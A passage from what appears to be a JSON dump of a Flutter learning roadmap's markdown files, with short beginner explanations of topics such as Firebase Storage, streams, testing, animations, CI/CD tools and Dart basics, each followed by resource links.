    "content": "# Storage\n\nIn Flutter, you can use Firebase Storage to store and retrieve binary data, such as images, audio files, and videos. Firebase Storage is a cloud-based storage service provided by Firebase that makes it easy to store and serve large binary data, such as images and videos, in your Flutter app.\n\nTo use Firebase Storage in your Flutter app, you need to first create a Firebase project in the Firebase Console and then add the Firebase Storage package to your Flutter app.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase Storage](https://firebase.google.com/docs/storage)\n- [@video@How to Upload and Retrieve Images from Firebase Storage](https://www.youtube.com/watch?v=sM-WMcX66FI)\n- [@feed@Explore top posts about Storage](https://app.daily.dev/tags/storage?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/streams@fIOq8ZumOrAo5uz4nbq2k.md",
    "content": "# Streams\n\nStreams in Flutter are a way to receive data over time as it becomes available. They are similar to observables in other languages and frameworks. Streams can be used for things like getting real-time updates from a server, or listening for changes in user input. In Flutter, streams are represented by the `Stream` class and can be listened to using the `StreamBuilder` widget.\n\nVisit the following resources to learn more:\n\n- [@official@Creating streams in Dart](https://dart.dev/articles/libraries/creating-streams)\n- [@article@Understanding Streams in Dart and Flutter](https://medium.com/stackademic/understanding-streams-in-dart-and-flutter-0d153b559760)\n- [@article@How to Use and Create Streams from Scratch in Dart and Flutter – a Beginner's Guide](https://www.freecodecamp.org/news/how-to-use-and-create-streams-in-dart-and-flutter/)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/styled-widgets@wBSdmrVPv3Zuys3X8VvBm.md",
    "content": "# Styled Widgets\n\nStyled widgets in Flutter refer to widgets that are decorated with custom styles, such as colors, fonts, shapes, and visual properties. They help create consistent and visually appealing user interfaces by applying themes and styling across your application.\n\nFlutter provides two main design systems for styled widgets:\n\n*   **Material Widgets** - Google's Material Design components with built-in styling, animations, and theming\n*   **Cupertino Widgets** - Apple's iOS design language widgets that provide native iOS look and feel\n\nYou can customize styled widgets through:\n\n*   **ThemeData** for app-wide styling and color schemes\n*   **Individual widget properties** like color, padding, and decoration\n*   **Custom themes** using ThemeExtension for reusable component styles\n*   **BoxDecoration** for borders, shadows, gradients, and backgrounds\n*   **TextStyles** for typography and font customization\n\nStyled widgets can be created by wrapping existing widgets with styling containers like Container, DecoratedBox, or Theme widgets, or by using the built-in styling properties of Material and Cupertino widgets.\n\nVisit the following resources to learn more:\n\n- [@official@Use themes to share colors and font styles](https://docs.flutter.dev/cookbook/design/themes)\n- [@official@Styling widgets](https://docs.flutter.dev/ui/widgets/styling)\n- [@official@Material theming](https://docs.flutter.dev/ui/design/material)\n- [@official@Cupertino theming](https://docs.flutter.dev/ui/design/cupertino)\n- [@official@styled_widget](https://pub.dev/packages/styled_widget)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/tdd@JbM-Hbf2ShUQt268ZMeZA.md",
    "content": "# TDD\n\nTest-driven development (TDD) is a software development methodology in which tests are written before the implementation of the code they are testing. The idea behind TDD is to write a failing test first, then write just enough code to make the test pass, and then refactor the code if necessary. This process is repeated for each new feature or requirement that is added to the app.\n\nVisit the following resources to learn more:\n\n- [@article@Test-Driven Development in Flutter](https://techblog.geekyants.com/test-driven-development-in-flutter)\n- [@video@Flutter TDD Clean Architecture Course](https://www.youtube.com/watch?v=KjE2IDphA_U)\n- [@feed@Explore top posts about TDD](https://app.daily.dev/tags/tdd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/testing@zGkDu5j8ln8U9kZgz3TDJ.md",
    "content": "# Testing\n\nTesting is a crucial part of the development process in Flutter, as it helps you to verify the behavior and appearance of your app and ensure that it behaves correctly and consistently across different devices and platforms.\n\nVisit the following resources to learn more:\n\n- [@official@Dart Testing](https://dart.dev/guides/testing)\n- [@official@Testing Flutter Apps](https://docs.flutter.dev/testing)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/unit-testing@BCsv2fKHVxaB22RJJJPWM.md",
    "content": "# Unit Testing\n\nUnit testing in Flutter is the process of testing individual units of code, such as functions or classes, to ensure that they behave as expected. Unit testing helps to catch bugs early in the development process and increases the confidence in your code by making it easier to refactor or make changes without breaking existing functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Unit Testing](https://docs.flutter.dev/cookbook/testing/unit/introduction)\n- [@official@Unit Tests - Flutter](https://docs.flutter.dev/testing#unit-tests)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/valuenotifier@aRmdyC2pzmR9r1ybU2CTP.md",
    "content": "# Value Notifier\n\nFlutter's ValueNotifier is a lightweight tool for state management in Flutter. It efficiently handles a single value and notifies listeners of changes. With ValueNotifier, developers can easily track and update specific data, such as counters or user inputs. It simplifies state management and enables dynamic Flutter interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@ValueNotifier Class - Flutter](https://api.flutter.dev/flutter/foundation/ValueNotifier-class.html)\n- [@article@ValuerNotifier & ValueListenableBuilder](https://medium.com/@avnishnishad/flutter-communication-between-widgets-using-valuenotifier-and-valuelistenablebuilder-b51ef627a58b)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/variables@P-SbMLN-AaNMss_7X0_5N.md",
    "content": "# Variables\n\nIn Flutter, variables are used to store values. There are three types of variables in Flutter namely local, global and instance variables.Variables in Flutter can store values of different data types, such as numbers, strings, booleans, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Variables](https://dart.dev/guides/language/language-tour#variables)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/version-control-systems@2nz5JoAPsZftFNLypr3Is.md",
    "content": "# Version Control Systems\n\nVersion control systems allow you to track changes to your codebase/files over time. They allow you to go back to some previous version of the codebase without any issues. Also, they help in collaborating with people working on the same code – if you’ve ever collaborated with other people on a project, you might already know the frustration of copying and merging the changes from someone else into your codebase; version control systems allow you to get rid of this issue.\n\nVisit the following resources to learn more:\n\n- [@article@What is Version Control? - GitHub](https://github.com/resources/articles/software-development/what-is-version-control)\n- [@article@What is Version Control? - Atlassian](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@video@Version Control System Introduction](https://www.youtube.com/watch?v=zbKdDsNNOhg)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@video@Learn Git in 20 Minutes](https://youtu.be/Y9XZQO1n_7c?t=21)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/vs-code@HMDsgljLshA63XX-hhAxV.md",
    "content": "# VS Code\n\nVS Code is a lightweight, fast, and highly customizable code editor that provides excellent support for Flutter development. To use VS Code for Flutter development, you must install the Flutter and Dart plugins for VS Code. These plugins support Flutter-specific features such as syntax highlighting, debugging, and hot reloading.\n\nWith the Flutter extension, VS Code provides essential development tools including:\n\n*   Flutter widget inspector\n*   Hot reload and hot restart\n*   Integrated debugging\n*   Code completion and IntelliSense\n*   Flutter outline view\n*   Device management\n*   Integrated terminal\n\nVS Code is particularly popular among developers who prefer a lightweight IDE with fast performance, extensive customization options, and cross-platform availability.\n\nVisit the following resources to learn more:\n\n- [@official@VS Code for Flutter](https://docs.flutter.dev/development/tools/vs-code)\n- [@official@Flutter extension for VS Code](https://marketplace.visualstudio.com/items?itemName=Dart-Code.flutter)\n- [@official@Dart extension for VS Code](https://marketplace.visualstudio.com/items?itemName=Dart-Code.dart-code)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/web-sockets@SUFuHR-r6NfAzIICXGHkK.md",
    "content": "# Web Sockets\n\nIn addition to normal HTTP requests, you can connect to servers using WebSockets. Web sockets allows for bidirectional communication between a client (such as a web browser) and a server over a single, long-lived connection. They are a more efficient alternative to HTTP for providing real-time data, as they allow for the server to push data to the client as soon as it becomes available, rather than requiring the client to continuously poll the server for updates.\n\nVisit the following resources to learn more:\n\n- [@official@Work with WebSockets](https://docs.flutter.dev/cookbook/networking/web-sockets)\n- [@article@What is WebSocket and How It Works?](https://www.wallarm.com/what/a-simple-explanation-of-what-a-websocket-is)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/widget-testing@9hNfDtZK7_b9qUOXlFGFZ.md",
    "content": "# Widget Testing\n\nWidget testing in Flutter is the process of testing the behavior and appearance of individual widgets, in isolation from the rest of your app. It allows you to verify that a widget works correctly, displays the expected output, and behaves correctly in response to user interactions.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Widget Testing](https://docs.flutter.dev/cookbook/testing/widget/introduction)\n- [@official@Widget Tests - Flutter](https://docs.flutter.dev/testing#widget-tests)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/widgets@dy2Jep9hIIECaLutx-3K0.md",
    "content": "# Widgets\n\nWidgets in Flutter are the basic building blocks of the user interface. They define how the UI looks and behaves. Widgets can be combined to create complex user interfaces and can be easily customized. Widgets in Flutter are also designed to be highly reusable, allowing developers to build complex UIs quickly and efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Widgets](https://docs.flutter.dev/development/ui/widgets-intro)\n- [@official@Widget Catalog](https://docs.flutter.dev/development/ui/widgets)\n- [@video@Flutter Widgets Explained](https://www.youtube.com/watch?v=FU2Eeizo95o)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/working-with-apis@9Az7tmevGI6bVqCTvVL50.md",
    "content": "# Working with APIs\n\nWorking with APIs in Flutter involves making HTTP requests to a server and processing the responses. Flutter provides a number of libraries for making HTTP requests, including `dart:io` and `http`.\n\nThe `http` library is a popular choice for making HTTP requests in Flutter, as it is easy to use and provides support for HTTP methods such as GET, POST, PUT, DELETE, and more.\n\nVisit the following resources to learn more:\n\n- [@article@Using Google APIs](https://dart.dev/guides/google-apis)\n- [@video@How to work with APIs in Flutter?](https://www.youtube.com/watch?v=uVo7HDWDUEQ)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/working-with-assets@z50iixpcCMe9sTh-gwTI3.md",
    "content": "# Working with Assets\n\nAssets are resources such as images, fonts, and other files that are included in your app. To use assets in Flutter, you need to specify them in your app's `pubspec.yaml` file and then access them in your code.\n\nThe `pubspec.yaml` file is used to manage dependencies, assets, and other settings in your Flutter app. The `flutter` section is used to specify assets that should be included with the app. The path specified in the `assets` section should be relative to the `pubspec.yaml` file.\n\nVisit the following resources to learn more:\n\n- [@official@Adding Assets in Flutter](https://docs.flutter.dev/development/ui/assets-and-images)\n- [@video@Flutter Tutorial - Assets](https://www.youtube.com/watch?v=Hxh6nNHSUjo)"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/async-await.md",
    "content": "# Async Await\n\nFlutter's `async`/`await` pattern simplifies asynchronous programming by enabling code that appears synchronous. The `async` keyword designates a function as asynchronous, allowing non-blocking execution, while `await` pauses execution until an asynchronous operation completes, resulting in cleaner and more maintainable asynchronous code.\n\nLearn more from the following resources:\n\n- [@official@Asynchronous Programming: async, await](https://dart.dev/codelabs/async-await)\n- [@official@Async widgets](https://docs.flutter.dev/development/ui/widgets/async)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/collections.md",
    "content": "# Collections\n\nDart provides built-in collections like Lists (ordered, indexed), Sets (unordered, unique), Maps (key-value pairs), Queues (FIFO), and Stacks (LIFO) for efficient data storage and manipulation, useful in various scenarios like data storage, state management, and algorithm implementation.\n\nLearn more from the following:\n\n- [@official@Generic Collections in Flutter](https://dart.dev/guides/language/language-tour#generic-collections-and-the-types-they-contain)\n- [@official@Iterable Collections](https://dart.dev/codelabs/iterables)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/core-libraries.md",
    "content": "# Core Libraries\n\nDart has a rich set of core libraries that provide essentials for many everyday programming tasks such as working on collections of objects (dart:collection), making calculations (dart:math), and encoding/decoding data (dart:convert).\n\nVisit the following resources to learn more:\n\n- [@official@Core Libraries](https://dart.dev/guides/libraries)\n- [@official@Libraries - Flutter API](https://api.flutter.dev/)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/functional-programming.md",
    "content": "# Functional Programming\n\nDart supports functional programming through higher-order functions, immutable data structures, lambdas/closures, and pure functions, enabling developers to write code that emphasizes immutability, statelessness, and data transformation via functions.\n\nLearn more from the following links:\n\n- [@official@Functional Programming - Flutter](https://docs.flutter.dev/resources/faq)\n- [@article@Brief Overview of Functional Programming](https://buildflutter.com/functional-programming-with-flutter/)\n- [@article@Functional Programming in Dart & Flutter](https://yogi-6.medium.com/list/functional-programming-in-dart-flutter-2f3ac9d7fa39)\n- [@feed@Explore top posts about Functional Programming](https://app.daily.dev/tags/functional-programming?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/futures.md",
    "content": "# Futures\n\nFutures in Flutter are a way of representing a potential value that will be available at some point in the future. Some key points about Futures in Flutter:\n\n- Futures are used for asynchronous programming in Flutter\n- Futures return a single value (or an error) and are often used with `async` and `await`.\n- The `then` method can be used to attach a callback to a Future that will be executed once the Future's value is available\n- Futures can be combined with other Futures using `Future.wait` or `Future.whenComplete` methods\n- Futures are often used with network requests, file I/O operations, and other long-running tasks in Flutter.\n\nLearn more from the following resources:\n\n- [@official@Futures and Error handling](https://dart.dev/guides/libraries/futures-error-handling)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/index.md",
    "content": "# Advanced Dart\n\nAdvanced Dart concepts crucial for Flutter development include generics for reusable code, `async`/`await` for clean asynchronous operations, mixins for multiple inheritance, abstract classes for base implementations, streams for continuous event handling, isolates for parallel processing, futures for future value representation, null-aware operators for concise null handling, collection literals for efficient collection creation, and extension methods for adding functionality to existing classes, all contributing to more efficient and maintainable code.\n\nLearn more from the following resources:\n\n- [@official@Tutorials - Dart](https://dart.dev/tutorials)\n- [@article@Advanced Dart](https://techdynasty.medium.com/advanced-dart-in-flutter-elevating-your-development-skills-1c8ec309266f)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/isolates.md",
    "content": "# Isolates\n\nFlutter Isolates are parallel execution contexts that enhance performance and concurrency by running intensive tasks in the background, preventing UI freezes. They provide isolated memory spaces for reliable code, enable concurrent execution, and facilitate inter-isolate communication for data sharing and coordination, though developers must consider context-switching and communication overhead.\n\nLearn more from the following links:\n\n- [@official@How Isolates Work](https://dart.dev/guides/language/concurrency#how-isolates-work)\n- [@article@Dart - Isolates and event loops](https://medium.com/dartlang/dart-asynchronous-programming-isolates-and-event-loops-bffc3e296a6a)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/lambdas.md",
    "content": "# Lambdas\n\nLambdas, also known as anonymous functions, are a fundamental concept in Dart and Flutter. They are a way to create short, inline functions that can be passed as arguments to other functions or assigned to variables.\n\nLambdas are defined using the `=>` operator and can take zero or more arguments. They can also contain expressions, statements, and return values.\n\nLearn more from the following links:\n\n- [@article@Lambda Functions in Dart](https://medium.com/jay-tillu/lambda-functions-in-dart-7db8b759f07a)\n- [@video@Anonymous Function in Dart | Lambda Function](https://www.youtube.com/watch?v=XTKKQdTAR0U)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/lists.md",
    "content": "# Lists\n\nDart Flutter offers various widgets for displaying lists, including `ListView`, `ListTile`, `SingleChildScrollView` with `Column`, `GridView`, and `CustomScrollView` with `Slivers`, enabling scrolling lists, grids, and customized item appearances through widgets, layouts, and styling.\n\nLearn more from the following:\n\n- [@official@List Class](https://api.flutter.dev/flutter/dart-core/List-class.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/advanced-dart/streams.md",
    "content": "# Streams\n\nStreams in Flutter are a way to receive data over time as it becomes available. They are similar to observables in other languages and frameworks. Streams can be used for things like getting real-time updates from a server, or listening for changes in user input. In Flutter, streams are represented by the `Stream` class and can be listened to using the `StreamBuilder` widget.\n\nLearn more from the following resources:\n\n- [@official@Creating streams in Dart](https://dart.dev/articles/libraries/creating-streams)\n- [@article@Understanding Streams in Dart and Flutter](https://medium.com/stackademic/understanding-streams-in-dart-and-flutter-0d153b559760)\n- [@article@How to Use and Create Streams from Scratch in Dart and Flutter – a Beginner's Guide](https://www.freecodecamp.org/news/how-to-use-and-create-streams-in-dart-and-flutter/)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/analytics/firebase-analytics.md",
    "content": "# Firebase Analytics\n\nFirebase Analytics is a free analytics tool provided by Google that helps to understand user behavior and measure app performance for mobile apps, including those built with Flutter.\n\nWith Firebase Analytics, Flutter developers can track user interactions with their app, including page views, events, and user properties, and use this data to gain insights into user behavior. Firebase Analytics provides a range of tools and features for analyzing this data, including real-time dashboards, user segmentation, and funnels.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter - Firebase](https://docs.flutter.dev/development/data-and-backend/firebase)\n- [@article@How To Add Firebase Analytics in Flutter](https://medium.datadriveninvestor.com/how-to-add-firebase-analytics-to-your-flutter-app-641fbda1d224?gi=ad489389a531)\n- [@feed@Explore top posts about Firebase](https://app.daily.dev/tags/firebase?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/analytics/google-analytics.md",
    "content": "# Google Analytics\n\nGoogle Analytics is a free web analytics service provided by Google that helps to understand user behavior and measure app performance for mobile apps, including those built with Flutter.\n\nWith Google Analytics, Flutter developers can track user interactions with their app, including page views, events, and user properties, and use this data to gain insights into user behavior. Google Analytics provides a range of tools and features for analyzing this data, including real-time dashboards, user segmentation, and funnels.\n\nVisit the following resources to learn more:\n\n- [@official@Google Analytics for Firebase](https://firebase.flutter.dev/docs/analytics/overview/)\n- [@feed@Explore top posts about Google](https://app.daily.dev/tags/google?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/analytics/index.md",
    "content": "# Analytics\n\nAnalytics is a key aspect of understanding user behavior and measuring app performance for Flutter apps. There are a number of analytics tools available for Flutter apps, each with their own set of features and benefits.\n\nVisit the following resources to learn more:\n\n- [@article@Top Flutter Analytics](https://fluttergems.dev/analytics-consumer-insights/)\n- [@video@Flutter Analytics using Firebase](https://www.youtube.com/watch?v=31KpJXqCayo)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/analytics/mix-panel.md",
    "content": "# Mixpanel\n\nMixpanel is a product analytics platform that provides insights into user behavior for mobile apps, including those built with Flutter.\n\nWith Mixpanel, Flutter developers can track user interactions with their app, including page views, events, and user properties, and use this data to gain insights into user behavior. Mixpanel provides a range of tools and features for analyzing this data, including real-time dashboards, segmentation, and A/B testing.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Flutter Mixpanel](https://levelup.gitconnected.com/flutter-web-mixpanel-6046ffb664fb)\n- [@article@Flutter Mixpanel Analytics Integration](https://medium.com/flutter-clan/flutter-mixpanel-analytics-integration-b5840b155f7b)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/analytics/segment.md",
    "content": "# Segment\n\nSegment is an analytics platform that provides a single API for collecting, storing, and routing customer data from various sources, including mobile apps built with Flutter.\n\nWith Segment, Flutter developers can easily add analytics tracking to their app, without having to integrate with multiple analytics tools individually. Segment acts as a single point of integration, allowing developers to send data to multiple analytics tools with a single API.\n\nVisit the following resources to learn more:\n\n- [@official@flutter_segment](https://pub.dev/packages/flutter_segment)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/animations/animated-builder.md",
    "content": "# AnimatedBuilder\n\nAnimatedBuilder is a widget in Flutter that allows you to build animations. It takes an `Animation` object and a builder function as input, and it returns a widget that is rebuilt whenever the animation changes. The builder function is called with the BuildContext and the animation object and it should return the widget that should be animated. This can be used to create complex animations with ease, without having to manage animation state or listen to animation events in the widget tree.\n\nLearn more from the following links:\n\n- [@official@AnimatedBuilder Class](https://api.flutter.dev/flutter/widgets/AnimatedBuilder-class.html)\n- [@article@Refactoring with AnimatedBuilders](https://docs.flutter.dev/development/ui/animations/tutorial#refactoring-with-animatedbuilder)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/animations/animated-widget.md",
    "content": "# AnimatedWidget\n\nAnimatedWidget is a Flutter widget that takes an `Animation` object as an argument and automatically updates whenever the animation changes. This can be useful when you want to create animations that are tightly coupled to a widget, for example, to animate the size or color of a widget. With `AnimatedWidget`, you can encapsulate the animation logic into a single widget and reuse it throughout your app. This makes it easier to manage and maintain your animations, as the animation code is centralized and decoupled from the widget tree.\n\nLearn more from the following links:\n\n- [@official@Simplifying with Animated­Widget](https://docs.flutter.dev/development/ui/animations/tutorial#simplifying-with-animatedwidgets)\n- [@article@AnimatedWidget Class](https://api.flutter.dev/flutter/widgets/AnimatedWidget-class.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/animations/animation-controller.md",
    "content": "# AnimationController\n\nThis class lets you perform tasks such as:\n\n- Play an animation forward or in reverse, or stop an animation.\n- Set the animation to a specific value.\n- Define the upperBound and lowerBound values of an animation.\n- Create a fling animation effect using a physics simulation.\n\nBy default, an AnimationController linearly produces values that range from 0.0 to 1.0, during a given duration.\n\nLearn more from the following links:\n\n- [@official@AnimationController - Flutter](https://docs.flutter.dev/ui/animations/tutorial#animationcontroller)\n- [@article@AnimationController class](https://api.flutter.dev/flutter/animation/AnimationController-class.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/animations/curved-animations.md",
    "content": "# CurvedAnimations\n\nCurved animations in Flutter can be achieved using the \"CurvedAnimation\" class. This class takes in a \"Curve\" object that defines the rate of change of the animation over time. The most commonly used curve is the \"Curves.easeInOut\" curve, which starts slow, speeds up in the middle, and then slows down again towards the end.\n\nLearn more from the following links:\n\n- [@official@Curved­Animation](https://docs.flutter.dev/development/ui/animations/tutorial)\n- [@article@CurvedAnimation Class](https://api.flutter.dev/flutter/animation/CurvedAnimation-class.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/animations/hero.md",
    "content": "# Hero\n\nHero is a widget in Flutter that allows you to create smooth animations between screens or within a single screen, for widgets that are used in multiple places. It animates the transition of a widget from one screen to another or from one position to another within a screen. The widget that is being animated should have a unique tag property so that Flutter can match the source and destination widgets. Hero widgets are used for visual continuity between screens, so when the user navigates from one screen to another, the hero widget smoothly transitions to its new position instead of abruptly appearing or disappearing. This can make the navigation between screens feel more seamless and enjoyable for the user.\n\nVisit the following resources to learn more:\n\n- [@official@Hero Animations](https://docs.flutter.dev/development/ui/animations/hero-animations)\n- [@article@HeroAnimation class](https://docs.flutter.dev/development/ui/animations/hero-animations#heroanimation-class)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/animations/index.md",
    "content": "# Animations\n\nFlutter’s animation support makes it easy to implement a variety of animation types. Many widgets, especially Material widgets, come with the standard motion effects defined in their design spec, but it’s also possible to customize these effects.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Animations](https://docs.flutter.dev/development/ui/animations)\n- [@article@Animation library](https://api.flutter.dev/flutter/animation/animation-library.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/animations/opacity.md",
    "content": "# Opacity\n\nOpacity is a Flutter widget that allows you to control the transparency of its child widget. It takes a single opacity argument, which is a value between 0.0 and 1.0, where 0.0 represents complete transparency and 1.0 represents complete opacity. The child widget is drawn with the specified opacity, making it appear translucent or transparent, depending on the value of the opacity argument. This can be useful for creating visual effects such as fading in or out, or to create partially transparent backgrounds or overlays. By using Opacity in combination with other widgets and animations, you can create sophisticated visual effects in your Flutter app.\n\nVisit the following resources to learn more:\n\n- [@official@Fade a Widget in and out](https://docs.flutter.dev/cookbook/animation/opacity-animation)\n- [@article@AnimatedOpacity widget](https://docs.flutter.dev/codelabs/implicit-animations#animate-opacity-with-animatedopacity-widgets)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/ci-cd/bitrise.md",
    "content": "# Bitrise\n\nBitrise is a cloud-based continuous integration and delivery (CI/CD) platform that can be used with Flutter mobile app development.\n\nBitrise provides a comprehensive suite of tools for automating the build, test, and deployment process for mobile apps, including apps built with Flutter. With Bitrise, developers can automate tasks such as building the app, running tests, and distributing the app to various app stores.\n\nVisit the following resources to learn more:\n\n- [@article@Adding a Flutter app to Bitrise](https://devcenter.bitrise.io/en/getting-started/quick-start-guides/getting-started-with-flutter-apps.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/ci-cd/codemagic.md",
    "content": "# Codemagic\n\nCodemagic is a cloud-based continuous integration and delivery (CI/CD) platform specifically designed for Flutter mobile app development.\n\nCodemagic provides a simple and efficient way for Flutter developers to automate the build, test, and deployment process for their apps. It integrates with the Flutter framework and allows developers to configure the build process, run tests, and distribute the app to various app stores with just a few clicks.\n\nVisit the following resources to learn more:\n\n- [@official@Codemagic - Flutter](https://codemagic.io/start/)\n- [@article@Create a build archive with Codemagic](https://docs.flutter.dev/deployment/ios#create-a-build-archive-with-codemagic-cli-tools)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/ci-cd/fast-lane.md",
    "content": "# Fast lane\n\nFastlane is a third-party tool for automating the development and deployment process for mobile apps, including apps built with Flutter.\n\nFastlane provides a suite of tools for automating tasks such as building, testing, and distributing apps. For example, fastlane can automate the process of building an app, creating a release candidate, and submitting the app to the app store.\n\nVisit the following resources to learn more:\n\n- [@official@Fast Lane - CI/CD in Flutter](https://docs.flutter.dev/deployment/cd)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/ci-cd/firebase-app-distribution.md",
    "content": "# Firebase App Distribution\n\nFirebase App Distribution is a service provided by Firebase, a mobile development platform owned by Google, that makes it easy to distribute pre-release versions of a mobile app to testers and stakeholders.\n\nWith Firebase App Distribution, developers can upload a pre-release version of their Flutter mobile app to the Firebase platform, and then invite testers and stakeholders to download and test the app. Testers and stakeholders can provide feedback directly from the app, making it easier for developers to fix bugs and make improvements before releasing the app to the general public.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase Hosting](https://firebase.google.com/docs/hosting)\n- [@feed@Explore top posts about Firebase](https://app.daily.dev/tags/firebase?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/ci-cd/github-actions.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a workflow automation tool provided by GitHub that can be used to automate various tasks in a Flutter mobile app development process. With GitHub Actions, developers can create custom workflows to automate tasks such as building the app, running tests, and deploying the app to various app stores. These workflows are defined as a series of actions in a YAML file, which can be committed to the repository.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Actions](https://github.com/features/actions)\n- [@opensource@Flutter - GitHub Actions](https://github.com/nabilnalakath/flutter-githubaction)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/ci-cd/index.md",
    "content": "# CI/CD\n\nCI/CD (Continuous Integration and Continuous Deployment) is a software development practice that helps to automate the process of building, testing, and deploying mobile apps, including Flutter apps.\n\nWith CI/CD, developers can automate the build, test, and deployment process for their Flutter apps, making it easier to catch bugs and deploy new features quickly and efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@CI/CD - Flutter](https://docs.flutter.dev/deployment/cd)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dart-basics/built-in-types.md",
    "content": "# Built-in Types\n\nThere are several built-in data types, including int, double, String, bool, List, Sets and Map. Additionally, there are other complex data types like dynamic, var, and Object in Dart programming language which is used in Flutter.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in types](https://dart.dev/guides/language/language-tour#built-in-types)\n- [@official@Overview of Built-in Types](https://dart.dev/guides/language/coming-from/js-to-dart#built-in-types)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dart-basics/control-flow-statements.md",
    "content": "# Control Flow Statements\n\nDart's control flow statements manage program execution: `if-else` for conditional logic, `for`, `while`, and `do-while` loops for repetition, `switch-case` for multi-way selection, and `break` and `continue` to alter loop behavior, enabling complex program logic.\n\nVisit the following resources to learn more:\n\n- [@official@Branches](https://dart.dev/language/branches)\n- [@official@Loops](https://dart.dev/language/loops)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dart-basics/dart-pad.md",
    "content": "# DartPad\n\nDartPad is an online tool that allows developers to write and run Dart code snippets. It can also be used to run Flutter code, making it a convenient way to try out Flutter apps and widgets without having to set up a full development environment.\n\nVisit the following resources to learn more:\n\n- [@official@DartPad](https://dart.dev/tools/dartpad)\n- [@official@DartPad in Tutorials](https://dart.dev/resources/dartpad-best-practices)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dart-basics/functions.md",
    "content": "# Functions\n\nDart is a true object-oriented language, so even functions are objects and have a type, Function. This means that functions can be assigned to variables or passed as arguments to other functions. You can also call an instance of a Dart class as if it were a function.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://dart.dev/guides/language/language-tour#functions)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dart-basics/index.md",
